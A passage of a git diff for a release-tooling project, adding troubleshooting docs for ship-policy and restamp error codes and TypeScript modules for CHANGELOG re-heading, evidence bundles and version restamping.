1), and the+ship receipt records the result in `preregistration`.diff --git a/docs/troubleshooting.md b/docs/troubleshooting.mdindex 6a4bbdff2..b52bd4b2a 100644--- a/docs/troubleshooting.md+++ b/docs/troubleshooting.md@@ -1562,6 +1562,233 @@ applied; the unparsed tokens are listed.`all except <tokens>`. A bare `yes` or `no` is ambiguous across multi-optionitems and is never guessed.+## Queue-aware ship: policy, restamp, tree receipt, ship receipt++`gstack-ship-policy`, `gstack-restamp`, `gstack-tree-receipt`,+`gstack-ship-receipt` and `gstack-evidence bundle|ancestor` share the exit+table above and end each error line with a code in parentheses. The policy+file is described in [docs/ship-policy.md](ship-policy.md); the queue flow in+[docs/ship-policy.md#stamp-at-merge](ship-policy.md#stamp-at-merge).++<a id="policy-source-unavailable"></a>+### `policy source unavailable — fix: git fetch origin <base> --depth=1 (POLICY_SOURCE_UNAVAILABLE)`++**Meaning.** The policy is read from the committed copy on `origin/<base>`,+and that ref does not resolve here (a shallow or detached gate checkout, or a+fetch that never happened). The tool exits 3 and never falls back to the+working-tree file silently.++**Fix.** `git fetch origin <base> --depth=1`, then rerun. To run against the+branch's own file deliberately, pass `--policy-from head --allow-repo-commands`;+the receipt then says `policy: head (unreviewed)`.++<a id="policy-invalid"></a>+### `POLICY_INVALID`++**Meaning.** `.gstack/ship-policy.json` has an unknown key, a wrong type or a+value outside its enum. The message names the key. Unknown keys are errors so+a typo never silently means "default".++**Fix.** `gstack-ship-policy validate` lists every problem;+`gstack-ship-policy init --explain` prints each key, its meaning and default.++<a id="policy-containment"></a>+### `POLICY_CONTAINMENT`++**Meaning.** A repo-controlled input escapes its box: an absolute path or a+`..` segment in `stamp_paths`, `release_outputs`, `changelog` or `mirror`; a+glob whose expansion passes 512 regex characters; more than 64 entries in a+list; a `release_tool` over 512 characters or holding a newline. At write time+the same code names a matched file that resolves through a symlink to outside+the repository.++**Fix.** Keep paths repo-relative, globs short and lists small. A mirror may+start with `..` (a sibling checkout) but may not contain an interior `..`.++<a id="policy-exists"></a>+### `POLICY_EXISTS`++**Meaning.** `gstack-ship-policy init` found an existing policy file and wrote+nothing.++**Fix.** Edit the file, or pass `--force` to replace it with the example.++<a id="repo-commands-not-allowed"></a>+### `repo commands not executed (pass --allow-repo-commands) (REPO_COMMANDS_NOT_ALLOWED)`++**Meaning.** The policy declares a command (`release_tool`), and the tool was+run standalone. File presence never authorizes execution: outside `/ship` and+`/land-and-deploy` a repo-declared command runs only with+`--allow-repo-commands`. The commands were listed and nothing was written.++**Fix.** Pass `--allow-repo-commands` when you mean to execute the repo's+code (you already do when you run its tests), or drop the release tool.++<a id="queue-stale"></a>+### `QUEUE_STALE`++**Meaning.** `gstack-restamp` was told the base SHA (`--expect-base`) or the+merge order (`--expect-order`) the allocation assumed, and one of them moved:+the base advanced, a predecessor is not merged, or a successor merged first.+The JSON result carries `expected`, `actual` and `recompute`.++**Fix.** Run the printed `recompute` command, which recomputes the version+from the current base, then merge with the server-side head condition+(`MERGE_CONDITION: sha=<head>`).++<a id="restamp-version-source"></a>+### `RESTAMP_VERSION_SOURCE`++**Meaning.** The configured version source (`VERSION`, `.gstack/version-path`)+is absent, ambiguous or broken at the base revision or on the branch, so there+is no version to bump from.++**Fix.** Create `VERSION` or pin the manifest path in `.gstack/version-path`+on the base branch. gstack never substitutes `0.0.0.0`.++<a id="restamp-merge-conflict"></a>+### `RESTAMP_MERGE_CONFLICT`++**Meaning.** `--after <pr>` builds the merge of the branch and the+predecessor's head in a throwaway worktree, and that merge conflicts. The+branch is untouched.++**Fix.** Merge the predecessor (or the base once it merges) into the branch+under `/ship` Step 3's conflict rules, then run `--after` again.++<a id="restamp-release-tool-failed"></a>+### `RESTAMP_RELEASE_TOOL_FAILED`++**Meaning.** The policy's `release_tool` exited non-zero inside the staging+worktree. The branch was not written; the journal records the stage.++**Fix.** Run the tool by hand in the repo, fix it, then rerun `gstack-restamp`.++<a id="restamp-output-outside-allowed"></a>+### `RESTAMP_OUTPUT_OUTSIDE_ALLOWED`++**Meaning.** The release tool changed a path outside its allowed-output set+(the version files, lockfiles, the CHANGELOG, `stamp_paths` and+`release_outputs`). The restamp refused before writing anything to the branch.++**Fix.** Add the path to `release_outputs` on the base branch when it is a+legitimate generated output, or stop the tool from writing it.++<a id="restamp-conflict"></a>+### `RESTAMP_CONFLICT`++**Meaning.** While applying or rolling back, a file no longer held the bytes+the journal recorded (someone edited it after the stage ran). Overwriting it+would lose that edit, so the restamp stopped.++**Fix.** Read `.gstack/tmp/restamp-journal.json`, reconcile the named file by+hand, then rerun `gstack-restamp` (idempotent: a complete stamp is a no-op).++<a id="restamp-predecessor-moved"></a>+### `PREDECESSOR MOVED <old> -> <new> — fix: gstack-restamp --after <pr> again (RESTAMP_PREDECESSOR_MOVED)`++**Meaning.** The gate ran on a synthetic tree built against a predecessor+head that is no longer that PR's head, so the gated tree is not the tree that+will merge. The receipt refuses `gate-reuse: eligible`.++**Fix.** `gstack-restamp --after <pr>` again, gate the new synthetic tree, and+read the receipt again.++<a id="changelog-duplicate-heading"></a>+### `CHANGELOG_DUPLICATE_HEADING`++**Meaning.** Two sections share one version heading, usually a stamp that+re-headed `[Unreleased]` beside an entry that already carried the version.++**Fix.** Merge them into one entry under the new version.++<a id="changelog-top-mismatch"></a>+### `CHANGELOG_TOP_MISMATCH`++**Meaning.** After the stamp, the first entry's heading is not the version in+`VERSION`.++**Fix.** `gstack-restamp` moves the PR's section to the top; if a hand edit+undid that, fix the heading or rerun the restamp.++<a id="changelog-section-missing"></a>+### `CHANGELOG_SECTION_MISSING`++**Meaning.** The CHANGELOG has neither an `[Unreleased]` section nor one+headed by the version currently stamped on the branch, so there is nothing to+re-head.++**Fix.** Under stamp-at-merge, write the PR's entry under `## [Unreleased]`;+the restamp turns it into `## [<version>] - <date>`.++<a id="gate-reuse-not-eligible"></a>+### `gate-reuse: not-eligible (<what changed>) — fix: <rerun command> (GATE_REUSE_NOT_ELIGIBLE)`++**Meaning.** Tree identity alone is not gate evidence. The receipt compares+the gated identity (tree modulo stamps, runtime pins, lockfile hash, CI+workflow hashes, gate command hash, executed selection, runner image) with the+current one and names what differs, or the stamp-sensitive gates that must+rerun on the final tree.++**Fix.** Rerun the named lanes with the printed command on the stamped tree,+or pass `--force-gate <reason>` in `/ship` to run the full gate again.++<a id="evidence-identity-unknown"></a>+### `EVIDENCE_IDENTITY_UNKNOWN`++**Meaning.** The bundle (or ledger record) lacks a committed tree id, runtime+versions, lockfile hashes or the command hash, so no reuse decision can rest on+it. Imported assertions without verification count as unknown too.++**Fix.** Rebuild the bundle on the gate machine after the lanes ran on a+committed head: `gstack-evidence bundle --out <file> --label <lane>...`.++<a id="evidence-bundle-invalid"></a>+### `EVIDENCE_BUNDLE_INVALID`++**Meaning.** The bundle is not valid JSON or not `gstack-evidence-bundle` v1.++**Fix.** Rebuild it with `gstack-evidence bundle`; a bundle is never hand-edited.++<a id="preregistration-not-ancestor"></a>+### `PREREGISTRATION_NOT_ANCESTOR`++**Meaning.** A `preregistration_shas` entry in the policy is not an ancestor+of HEAD, so the preregistered eval does not describe this branch.++**Fix.** Merge or rebase so the commit is in the branch history, or remove the+entry on the base branch. `gstack-evidence ancestor <sha>...` prints one line+per entry; the ship receipt records the result.++<a id="history-policy-violation"></a>+### `HISTORY_POLICY_VIOLATION`++**Meaning.** The policy says `history: merge-only` and the plan would squash,+rebase or otherwise rewrite the branch: `gstack-ship-policy check-history+--plan squash|rebase` refuses (exit 3) before anything moves, and without+`--plan` it reports the violation (exit 1) when the pushed branch is no longer+an ancestor of HEAD.++**Fix.** `git merge origin/<base>` and keep every commit; merge the PR with a+merge commit.++<a id="receipt-missing"></a>+### `RECEIPT_MISSING`++**Meaning.** `gstack-ship-receipt read --pr <n>` found no+```` ```gstack-ship-receipt ```` block in the PR body.++**Fix.** `/ship` Step 18 writes it (`gstack-ship-receipt write ... --pr <n>`);+for an older PR, write it once by hand with the same command.++<a id="receipt-invalid"></a>+### `RECEIPT_INVALID`++**Meaning.** The block exists but does not validate against the `ship-receipt`+schema (`gstack-artifact schema ship-receipt`).++**Fix.** Regenerate it with `gstack-ship-receipt write`; never hand-edit the+block.<a id="execution-unknown"></a>### `EXECUTION_UNKNOWN`diff --git a/lib/changelog-check.ts b/lib/changelog-check.tsnew file mode 100644index 000000000..49a2d68c8--- /dev/null+++ b/lib/changelog-check.ts@@ -0,0 +1,135 @@+/**+ * changelog-check — CHANGELOG re-heading and checks for gstack-restamp (C2)+ * and the tree receipt (C3). A restamp moves the PR's section (`[Unreleased]`+ * or the version currently stamped on the branch) to the top under the new+ * version, above its predecessor's entry. Duplicate version headings and a+ * top entry that is not VERSION are errors. The tree receipt uses+ * `normalizeChangelog` to accept a heading move as a stamp, never a change.+ */+import type { ResultCodeName } from './result-codes';++export interface ChangelogSection {+ /** The heading line as written. */+ heading: string;+ version: string | null;+ unreleased: boolean;+ /** Line offsets into the file (heading inclusive, end exclusive). */+ start: number;+ end: number;+ lines: string[];+}+export interface ParsedChangelog { header: string[]; sections: ChangelogSection[] }+export interface ChangelogError { code: ResultCodeName; path: string; message: string }++const HEADING_RE = /^##\s+(\[)?(?:v)?(\d+(?:\.\d+){1,3}|Unreleased|unreleased)\]?(?:\s*[-–—]\s*(\S.*))?\s*$/;++export function headingVersion(line: string): { version: string | null; unreleased: boolean } | null {+ const m = HEADING_RE.exec(line);+ if (!m) return null;+ const token = m[2]!;+ if (token.toLowerCase() === 'unreleased') return { version: null, unreleased: true };+ return { version: token, unreleased: false };+}++export function parseChangelog(text: string): ParsedChangelog {+ const lines = text.split('\n');+ const starts: number[] = [];+ lines.forEach((l, i) => { if (headingVersion(l)) starts.push(i); });+ const header = lines.slice(0, starts[0] ?? lines.length);+ const sections = starts.map((start, k) => {+ const end = starts[k + 1] ?? lines.length;+ const hv = headingVersion(lines[start]!)!;+ return { heading: lines[start]!, version: hv.version, unreleased: hv.unreleased, start, end, lines: lines.slice(start, end) };+ });+ return { header, sections };+}++/** Duplicate headings, and (when `expectedTop` is given) the top entry equals VERSION. */+export function checkChangelog(text: string, expectedTop: string | null, file = 'CHANGELOG.md'): ChangelogError[] {+ const errors: ChangelogError[] = [];+ const parsed = parseChangelog(text);+ const seen = new Map<string, number>();+ for (const s of parsed.sections) {+ const key = s.unreleased ? 'Unreleased' : s.version!;+ if (seen.has(key)) errors.push({ code: 'CHANGELOG_DUPLICATE_HEADING', path: `${file}:${s.start + 1}`, message: `${key} already headed at line ${seen.get(key)! + 1}` });+ else seen.set(key, s.start);+ }+ if (expectedTop) {+ const top = parsed.sections[0];+ if (!top) errors.push({ code: 'CHANGELOG_TOP_MISMATCH', path: file, message: `no entry; expected ${expectedTop} at the top` });+ else if (top.unreleased || top.version !== expectedTop) errors.push({ code: 'CHANGELOG_TOP_MISMATCH', path: `${file}:${top.start + 1}`, message: `top entry is ${top.unreleased ? '[Unreleased]' : top.version}, VERSION is ${expectedTop}` });+ }+ return errors;+}++function renderHeading(like: string, version: string, date: string): string {+ const bracket = /^##\s+\[/.test(like);+ const vPrefix = /^##\s+\[?v\d/.test(like);+ const dash = /\s+[–—]\s+/.exec(like)?.[0]?.trim() ?? '-';+ const token = `${vPrefix ? 'v' : ''}${version}`;+ return `## ${bracket ? `[${token}]` : token} - ${date}`.replace(' - ', ` ${dash} `);+}++export interface ReheadResult { text: string; moved: boolean; from: string; to: string; error?: ChangelogError }++/**+ * Move the PR's section to the top under `to`. `from` is the version the+ * branch currently carries (its own earlier stamp) or null; `[Unreleased]`+ * is taken first. Idempotent: a top section already headed `to` is a no-op.+ */+export function reheadChangelog(text: string, opts: { from: string | null; to: string; date: string; file?: string }): ReheadResult {+ const file = opts.file ?? 'CHANGELOG.md';+ const parsed = parseChangelog(text);+ const already = parsed.sections.find(s => s.version === opts.to);+ if (already && parsed.sections[0] === already) return { text, moved: false, from: opts.to, to: opts.to };+ const unreleased = parsed.sections.find(s => s.unreleased);+ const own = opts.from ? parsed.sections.find(s => s.version === opts.from) : undefined;+ const section = unreleased ?? own ?? already;+ if (!section) {+ return { text, moved: false, from: opts.from ?? 'Unreleased', to: opts.to, error: { code: 'CHANGELOG_SECTION_MISSING', path: file, message: `no [Unreleased]${opts.from ? ` or ${opts.from}` : ''} section` } };+ }+ const dup = parsed.sections.filter(s => s !== section && (s.unreleased ? section.unreleased : s.version === section.version));+ if (dup.length) {+ return { text, moved: false, from: section.unreleased ? 'Unreleased' : section.version!, to: opts.to, error: { code: 'CHANGELOG_DUPLICATE_HEADING', path: `${file}:${dup[0]!.start + 1}`, message: `${section.unreleased ? 'Unreleased' : section.version} is headed twice` } };+ }+ const body = section.lines.slice(1);+ const newHeading = renderHeading(section.heading, opts.to, opts.date);+ const rest = parsed.sections.filter(s => s !== section).flatMap(s => s.lines);+ const header = [...parsed.header];+ while (header.length && header[header.length - 1] === '') header.pop();+ const out = [...header, ...(header.length ? [''] : []), newHeading, ...body];+ const trimmed = [...out];+ while (trimmed.length && trimmed[trimmed.length - 1] === '') trimmed.pop();+ const joined = [...trimmed, '', ...rest].join('\n');+ return { text: joined.endsWith('\n') ? joined : joined + '\n', moved: true, from: section.unreleased ? 'Unreleased' : section.version!, to: opts.to };+}++/**+ * Receipt normalization: version headings are replaced by a placeholder and+ * sections are compared as an order-independent multiset of lines, so a+ * heading move or re-heading is a stamp and any other edited byte is a change.+ */+export function normalizeChangelog(text: string): string {+ const parsed = parseChangelog(text);+ const sections = parsed.sections.map(s => ['## <version>', ...s.lines.slice(1)].join('\n').replace(/\n+$/, '')).sort();+ return [parsed.header.join('\n').replace(/\n+$/, ''), ...sections].join('\n\u0000');+}++/**+ * Gate-ahead merge of two CHANGELOGs that conflict textually but not+ * semantically: the predecessor's header and sections, with the branch's own+ * sections (those the predecessor lacks, by heading) placed first. Both sides+ * carrying `[Unreleased]` is a real conflict and returns null.+ */+export function mergeChangelogs(ours: string, theirs: string): string | null {+ const a = parseChangelog(ours);+ const b = parseChangelog(theirs);+ const key = (s: ChangelogSection) => (s.unreleased ? 'Unreleased' : s.version!);+ const theirKeys = new Set(b.sections.map(key));+ const ownOnly = a.sections.filter(s => !theirKeys.has(key(s)));+ if (a.sections.some(s => s.unreleased) && b.sections.some(s => s.unreleased)) return null;+ const header = [...b.header];+ while (header.length && header[header.length - 1] === '') header.pop();+ const body = [...ownOnly, ...b.sections].flatMap(s => { const lines = [...s.lines]; while (lines.length && lines[lines.length - 1] === '') lines.pop(); return [...lines, '']; });+ return [...header, ...(header.length ? [''] : []), ...body].join('\n').replace(/\n+$/, '\n');+}diff --git a/lib/evidence-bundle.ts b/lib/evidence-bundle.tsnew file mode 100644index 000000000..3303f34e9--- /dev/null+++ b/lib/evidence-bundle.ts@@ -0,0 +1,186 @@+/**+ * evidence-bundle — the portable form of the machine-local evidence ledger+ * (plan C3). `gstack-evidence bundle` exports, for a committed head, the+ * comparison material the tree receipt needs (tree id, version source,+ * stamp-file normalization inputs), the execution identity the gate ran under+ * (runtime versions, lockfile identities with the root version normalized+ * away, CI workflow and runtime-pin hashes, runner image), the required-lane+ * manifest, each lane's executed selection, run URL, outcome, command hash and+ * log hash, and producer-bound metadata. Lanes the ledger produced on a clean+ * committed tree are `verified`; `--import` rows are `imported` and never+ * count toward reuse. Also home of `gstack-evidence ancestor` (plan C7).+ */+import { createHash } from 'node:crypto';+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as os from 'node:os';+import * as path from 'node:path';+import type { ResultCodeName } from './result-codes';++export const BUNDLE_KIND = 'gstack-evidence-bundle';+export const LOCKFILES = ['bun.lock', 'bun.lockb', 'package-lock.json', 'npm-shrinkwrap.json', 'yarn.lock', 'pnpm-lock.yaml', 'Cargo.lock', 'uv.lock', 'poetry.lock', 'Gemfile.lock', 'go.sum'];+export const PIN_FILES = ['.tool-versions', '.nvmrc', '.node-version', '.bun-version', '.python-version', 'rust-toolchain.toml', '.ruby-version'];++export interface ExecutionIdentity {+ runtime: { bun: string | null; node: string | null; os: string; arch: string };+ /** lockfile → identity hash with the root package version normalized away; absent files are omitted. */+ lockfiles: Record<string, string>;+ /** `.github/workflows` tree id at the committed head, or null. */+ ci_workflows: string | null;+ /** Runtime pin files and package.json engines/packageManager, hashed. */+ runtime_pins: Record<string, string>;+ runner_image: string | null;+}+export interface LaneRecord {+ label: string; command: string; cmd_sha256: string; exit: number; ts: string; duration_s?: number;+ commit?: string; tree?: string; wtree?: string; dirty?: boolean; log_path?: string; log_sha256?: string | null;+ selection?: string | null; run_url?: string | null; verified: boolean; reason?: string;+}+export interface EvidenceBundle {+ schema_version: 1; kind: typeof BUNDLE_KIND; produced_at: string;+ producer: { host: string; user: string | null; pid: number; machine_id: string | null; gstack: string | null };+ repo: { branch: string | null; commit: string; tree: string; dirty: boolean };+ identity: ExecutionIdentity;+ comparison: { version_rel: string; version: string | null; changelog: string | null; stamp_paths: string[]; release_outputs: string[] };+ required_lanes: string[];+ lanes: LaneRecord[];+ imported: LaneRecord[];+}+export interface BundleError { code: ResultCodeName; message: string }++export function sha256Text(text: string | Buffer): string { return createHash('sha256').update(text).digest('hex'); }+function git(cwd: string, args: string[]): string | null {+ const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 30_000 });+ return r.status === 0 ? (r.stdout ?? '').replace(/\n$/, '') : null;+}+function versionOf(bin: string): string | null {+ const r = spawnSync(bin, ['--version'], { encoding: 'utf8', timeout: 15_000 });+ return r.status === 0 ? (r.stdout ?? '').trim().replace(/^v/, '') || null : null;+}++/** Lockfile text with the root package's own version removed, so a stamp never changes the identity but a dependency does. */+export function normalizeLockfile(name: string, text: string): string {+ if (name === 'package-lock.json' || name === 'npm-shrinkwrap.json') {+ try {+ const parsed = JSON.parse(text) as Record<string, any>;+ delete parsed.version;+ if (parsed.packages && typeof parsed.packages[''] === 'object' && parsed.packages['']) delete parsed.packages[''].version;+ return JSON.stringify(parsed);+ } catch { return text; }+ }+ if (name === 'bun.lock') {+ // The root workspace entry carries `"version": "X"`; dependency versions live inside `"pkg@X"` keys and arrays.+ return text.replace(/^\s*"version":\s*"[^"]*",?\s*$/m, '');+ }+ return text;+}++function blobAt(repoRoot: string, treeish: string, rel: string): string | null {+ const r = spawnSync('git', ['show', `${treeish}:${rel}`], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 64 * 1024 * 1024 });+ return r.status === 0 ? r.stdout : null;+}++/** The identity a gate ran (or would run) under for a committed tree, on this machine. */+export function executionIdentity(repoRoot: string, treeish: string, env: NodeJS.ProcessEnv = process.env): ExecutionIdentity {+ const lockfiles: Record<string, string> = {};+ for (const name of LOCKFILES) {+ const text = blobAt(repoRoot, treeish, name);+ if (text !== null) lockfiles[name] = sha256Text(normalizeLockfile(name, text));+ }+ const pins: Record<string, string> = {};+ for (const name of PIN_FILES) {+ const text = blobAt(repoRoot, treeish, name);+ if (text !== null) pins[name] = sha256Text(text);+ }+ const pkg = blobAt(repoRoot, treeish, 'package.json');+ if (pkg !== null) {+ try {+ const parsed = JSON.parse(pkg) as Record<string, unknown>;+ pins['package.json#engines'] = sha256Text(JSON.stringify({ engines: parsed.engines ?? null, packageManager: parsed.packageManager ?? null }));+ } catch { pins['package.json#engines'] = 'unparsable'; }+ }+ const workflows = git(repoRoot, ['rev-parse', '--verify', '--quiet', `${treeish}:.github/workflows`]);+ return {+ runtime: { bun: versionOf('bun'), node: versionOf('node'), os: process.platform, arch: process.arch },+ lockfiles, ci_workflows: workflows || null, runtime_pins: pins,+ runner_image: env.GSTACK_RUNNER_IMAGE || (env.ImageOS && env.ImageVersion ? `${env.ImageOS}/${env.ImageVersion}` : null),+ };+}++/** Field-by-field comparison; each difference names what changed. */+export function compareIdentity(gated: ExecutionIdentity, current: ExecutionIdentity): string[] {+ const diffs: string[] = [];+ for (const k of ['bun', 'node', 'os', 'arch'] as const) if (gated.runtime[k] !== current.runtime[k]) diffs.push(`runtime.${k} ${gated.runtime[k] ?? 'unknown'} -> ${current.runtime[k] ?? 'unknown'}`);+ const keys = new Set([...Object.keys(gated.lockfiles), ...Object.keys(current.lockfiles)]);+ for (const k of keys) if (gated.lockfiles[k] !== current.lockfiles[k]) diffs.push(`lockfile ${k}${gated.lockfiles[k] && current.lockfiles[k] ? ' dependencies changed' : gated.lockfiles[k] ? ' removed' : ' added'}`);+ if (gated.ci_workflows !== current.ci_workflows) diffs.push('ci workflows changed');+ const pinKeys = new Set([...Object.keys(gated.runtime_pins), ...Object.keys(current.runtime_pins)]);+ for (const k of pinKeys) if (gated.runtime_pins[k] !== current.runtime_pins[k]) diffs.push(`runtime pin ${k} changed`);+ if ((gated.runner_image || current.runner_image) && gated.runner_image !== current.runner_image) diffs.push(`runner image ${gated.runner_image ?? 'unknown'} -> ${current.runner_image ?? 'unknown'}`);+ return diffs;+}++export interface BuildBundleOptions {+ repoRoot: string; ledgerRecords: Array<Record<string, unknown>>; labels?: string[]; required?: string[];+ selections?: Record<string, string>; runUrls?: Record<string, string>; imported?: Array<Record<string, unknown>>;+ comparison: EvidenceBundle['comparison']; env?: NodeJS.ProcessEnv; now?: Date; gstackVersion?: string | null;+}++/** Build a bundle for HEAD from the ledger's latest record per label. */+export function buildBundle(o: BuildBundleOptions): { bundle: EvidenceBundle; errors: BundleError[] } {+ const errors: BundleError[] = [];+ const commit = git(o.repoRoot, ['rev-parse', 'HEAD']);+ const tree = git(o.repoRoot, ['rev-parse', 'HEAD^{tree}']);+ if (!commit || !tree) return { bundle: null as unknown as EvidenceBundle, errors: [{ code: 'EVIDENCE_IDENTITY_UNKNOWN', message: 'not a git repository with a commit; a bundle binds to a committed head' }] };+ const dirty = (git(o.repoRoot, ['status', '--porcelain', '-uno']) ?? '') !== '';+ const labels = o.labels?.length ? o.labels : [...new Set(o.ledgerRecords.map(r => String(r.label)))];+ const lanes: LaneRecord[] = [];+ for (const label of labels) {+ const latest = [...o.ledgerRecords].reverse().find(r => r.label === label);+ if (!latest) { errors.push({ code: 'EVIDENCE_IDENTITY_UNKNOWN', message: `no ledger record for label ${label}` }); continue; }+ const lane: LaneRecord = {+ label, command: String(latest.command ?? ''), cmd_sha256: String(latest.cmd_sha256 ?? ''), exit: Number(latest.exit ?? -1), ts: String(latest.ts ?? ''),+ duration_s: typeof latest.duration_s === 'number' ? latest.duration_s : undefined, commit: latest.commit as string | undefined, tree: latest.tree as string | undefined,+ wtree: latest.wtree as string | undefined, dirty: latest.dirty as boolean | undefined, log_path: latest.log_path as string | undefined,+ log_sha256: typeof latest.log_path === 'string' && fs.existsSync(latest.log_path) ? sha256Text(fs.readFileSync(latest.log_path)) : null,+ selection: o.selections?.[label] ?? null, run_url: o.runUrls?.[label] ?? null, verified: true,+ };+ if (!lane.cmd_sha256 || !lane.tree || !lane.commit) { lane.verified = false; lane.reason = 'record lacks commit, tree or command hash'; }+ else if (lane.dirty || !lane.wtree) { lane.verified = false; lane.reason = 'ran on a dirty or unfingerprinted tree (committed heads only)'; }+ else if (lane.commit !== commit) { lane.verified = false; lane.reason = `ran on ${lane.commit.slice(0, 12)}, HEAD is ${commit.slice(0, 12)}`; }+ lanes.push(lane);+ }+ const imported: LaneRecord[] = (o.imported ?? []).map(r => ({+ label: String(r.label ?? 'imported'), command: String(r.command ?? ''), cmd_sha256: String(r.cmd_sha256 ?? ''), exit: Number(r.exit ?? -1), ts: String(r.ts ?? ''),+ selection: (r.selection as string | undefined) ?? null, run_url: (r.run_url as string | undefined) ?? null, verified: false, reason: `imported assertion from ${r.source ?? 'unknown source'}; not independently verified`,+ }));+ const bundle: EvidenceBundle = {+ schema_version: 1, kind: BUNDLE_KIND, produced_at: (o.now ?? new Date()).toISOString(),+ producer: { host: os.hostname(), user: os.userInfo().username ?? null, pid: process.pid, machine_id: (o.env ?? process.env).GSTACK_MACHINE_ID ?? null, gstack: o.gstackVersion ?? null },+ repo: { branch: git(o.repoRoot, ['branch', '--show-current']) || null, commit, tree, dirty },+ identity: executionIdentity(o.repoRoot, commit, o.env), comparison: o.comparison,+ required_lanes: o.required ?? labels, lanes, imported,+ };+ return { bundle, errors };+}++export function readBundle(file: string): { bundle: EvidenceBundle | null; error?: BundleError } {+ let parsed: any;+ try { parsed = JSON.parse(fs.readFileSync(file, 'utf8')); }+ catch (e: any) { return { bundle: null, error: { code: 'EVIDENCE_BUNDLE_INVALID', message: `${file}: ${e.message}` } }; }+ if (!parsed || parsed.kind !== BUNDLE_KIND || parsed.schema_version !== 1 || !parsed.repo?.tree || !parsed.identity || !Array.isArray(parsed.lanes)) {+ return { bundle: null, error: { code: 'EVIDENCE_BUNDLE_INVALID', message: `${file} is not a ${BUNDLE_KIND} v1` } };+ }+ return { bundle: parsed as EvidenceBundle };+}++/** `gstack-evidence ancestor`: each sha must be an ancestor of HEAD (or `of`). */+export function checkAncestors(repoRoot: string, shas: string[], of = 'HEAD'): Array<{ sha: string; ok: boolean; detail: string }> {+ return shas.map(sha => {+ if (!/^[0-9a-f]{7,64}$/.test(sha)) return { sha, ok: false, detail: 'not a hex commit id' };+ const full = git(repoRoot, ['rev-parse', '--verify', '--quiet', `${sha}^{commit}`]);+ if (!full) return { sha, ok: false, detail: 'unknown commit (fetch it first)' };+ const r = spawnSync('git', ['merge-base', '--is-ancestor', full, of], { cwd: repoRoot, timeout: 30_000 });+ return { sha, ok: r.status === 0, detail: r.status === 0 ? `ancestor of ${of}` : `not an ancestor of ${of}` };+ });+}diff --git a/lib/headless-artifacts.ts b/lib/headless-artifacts.tsindex 64dfc2fb6..2c0cd2362 100644--- a/lib/headless-artifacts.ts+++ b/lib/headless-artifacts.ts@@ -64,6 +64,8 @@ export interface ShipReceipt {schema_version: 1; head: string; base: string; pr?: number; version?: string; gated_tree?: string;gate?: Record<string, unknown>; ci?: Record<string, unknown>; spend_usd?: number | string; predecessor?: string;session_kind?: string; artifacts_consumed?: string; run?: string;+ // C-stamp (C3/C5/C7): the tree receipt's verdicts and the policy provenance, all optional.+ thread?: string; tree?: string; gate_reuse?: string; policy?: string; queue_mode?: string; preregistration?: string; history?: string;}export const RESULT_STATUSES: readonly ResultStatus[] = ['complete', 'gate_pending', 'incomplete', 'interrupted', 'refused'];@@ -172,6 +174,7 @@ export const ARTIFACT_SCHEMAS = {schema_version: { const: 1 }, pr: { type: 'integer' }, head: str, version: str, base: str, gated_tree: str,gate: { type: 'object' }, ci: { type: 'object' }, spend_usd: { type: ['number', 'string'] }, predecessor: str,session_kind: str, artifacts_consumed: { ...str, description: '<n>/<m>' }, run: str,+ thread: str, tree: { enum: ['same-modulo-stamps', 'changed', 'not-compared'] }, gate_reuse: str, policy: str, queue_mode: str, preregistration: str, history: str,},},} as const satisfies Record<string, Schema>;diff --git a/lib/restamp.ts b/lib/restamp.tsnew file mode 100644index 000000000..4f03bf22c--- /dev/null+++ b/lib/restamp.ts@@ -0,0 +1,561 @@+/**+ * restamp — the whole stamp in one step (plan C2), behind bin/gstack-restamp.+ *+ * Every stage runs in an isolated staging worktree seeded from the working+ * tree's content fingerprint (bin/gstack-wtree): the version writer+ * (bin/gstack-version-bump write, composed, never grown), the policy's+ * release_tool under its contract (enumerated allowed outputs, pre/post+ * images), the CHANGELOG re-heading (lib/changelog-check.ts), the exact+ * `(was X)` / `since: X` / `vX` rewrites inside `stamp_paths`. The branch is+ * written only after every stage validated, file by file against the+ * fingerprinted preimage, with every write journaled in+ * .gstack/tmp/restamp-journal.json so a failure after any stage rolls back+ * without touching unrelated edits. `--dry-run` prints the diff and writes+ * nothing. `--after <pr>` stamps a merge of the branch and its predecessor in+ * a throwaway worktree (gate-ahead) and records .gstack/tmp/gate-ahead.json.+ * Policy comes from origin/<base> (lib/ship-policy.ts); repo-declared+ * commands run only with allowRepoCommands (the /ship flag).+ */+import { createHash } from 'node:crypto';+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as os from 'node:os';+import * as path from 'node:path';+import { checkChangelog, mergeChangelogs, parseChangelog, reheadChangelog } from './changelog-check';+import { type ResultCodeName } from './result-codes';+import {+ SHIP_POLICY_PATH, assertInsideRoot, declaredCommands, isUnavailable, loadPolicyFromBase, loadPolicyFromHead, matchesAny,+ type LoadedPolicy, type QueueMode, type ShipPolicy,+} from './ship-policy';+import { bumpVersion, cmpVersion, extractVersion, fmtVersion, parseVersion, versionWidth, type Bump } from './version-source';++export const JOURNAL_REL = '.gstack/tmp/restamp-journal.json';+export const GATE_AHEAD_REL = '.gstack/tmp/gate-ahead.json';+const BIN_DIR = path.resolve(import.meta.dir, '..', 'bin');+const NPM_LOCKFILES = ['package-lock.json', 'npm-shrinkwrap.json'];++export type StageName = 'version' | 'release_tool' | 'changelog' | 'stamp_paths' | 'mirror' | 'apply';+export interface JournalWrite { path: string; pre_sha256: string | null; post_sha256: string | null; applied: boolean }+export interface StageRecord { name: StageName; status: 'pending' | 'done' | 'skipped' | 'failed'; detail?: string; writes?: JournalWrite[] }+export interface Journal {+ schema_version: 1; started_at: string; status: 'staging' | 'applying' | 'complete' | 'failed' | 'rolled_back';+ inputs: { old_version: string; new_version: string; base_ref: string; base_sha: string; policy: string; wtree: string; queue_mode: QueueMode; after?: GateAheadRecord | null };+ stages: StageRecord[];+}+export interface GateAheadRecord {+ schema_version: 1; pr: string | null; predecessor_pr: string; predecessor_head: string; branch_head: string; gated_head: string;+ gated_tree: string; version: string; worktree: string; evidence_branch_key: string; created_at: string;+}++export interface RestampOptions {+ repoRoot: string; base: string; version?: string; next?: boolean; bump?: Bump; queueMode?: QueueMode;+ after?: { pr: string; ref?: string }; pr?: string; expectBase?: string; expectOrder?: string[]; was?: string;+ policyFrom: 'base' | 'head'; allowRepoCommands: boolean; dryRun: boolean; now?: Date; env?: 